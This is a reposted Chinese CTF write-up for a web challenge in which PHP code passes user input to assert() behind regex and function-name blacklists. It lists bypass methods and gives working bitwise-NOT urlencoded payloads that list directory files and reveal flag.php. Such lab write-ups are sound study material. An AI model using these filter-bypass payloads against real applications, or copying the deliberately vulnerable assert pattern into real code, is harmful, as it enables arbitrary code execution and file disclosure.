2020-第五空間智能安全大賽-Web-hate-php(preg_match繞過)


靶場環境:https://www.ctfhub.com/#/challenge   上面搜索hate

打開網頁:

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

 

題目過濾:1.過濾相關關鍵字 2.過濾函數
方法1:異或
方法2:取反
方法3:數組
方法4:PCRE
方法5:換行符
............
利用取反繞過過濾 Payload:
<?php echo urlencode(~'print_r'); //urlencode url編碼 ~ 取反 echo "\n"; echo urlencode(~'scandir'); echo "\n"; echo urlencode(~'.'); echo "\n"; echo urlencode(~'highlight_file'); echo "\n"; echo urlencode(~'flag.php'); ?> print_r(scandir('.')) //打印當前目錄下的文件 /?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1))) highlight_file('flag.php') ?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))

 

 

顯示flag.php
highlight_file(
'flag.php') ?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))

 

 

<?php
error_reporting
(0);
if(!isset(
$_GET['code'])){
    
highlight_file(__FILE__);
}else{
    
$code $_GET['code'];
    if (
preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die(
'You are too good for me'); 
    }
    
$blacklist get_defined_functions()['internal'];
    foreach (
$blacklist as $blackitem) { 
        if (
preg_match ('/' $blackitem '/im'$code)) { 
            die(
'You deserve better'); 
        } 
    }
    
assert($code);
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM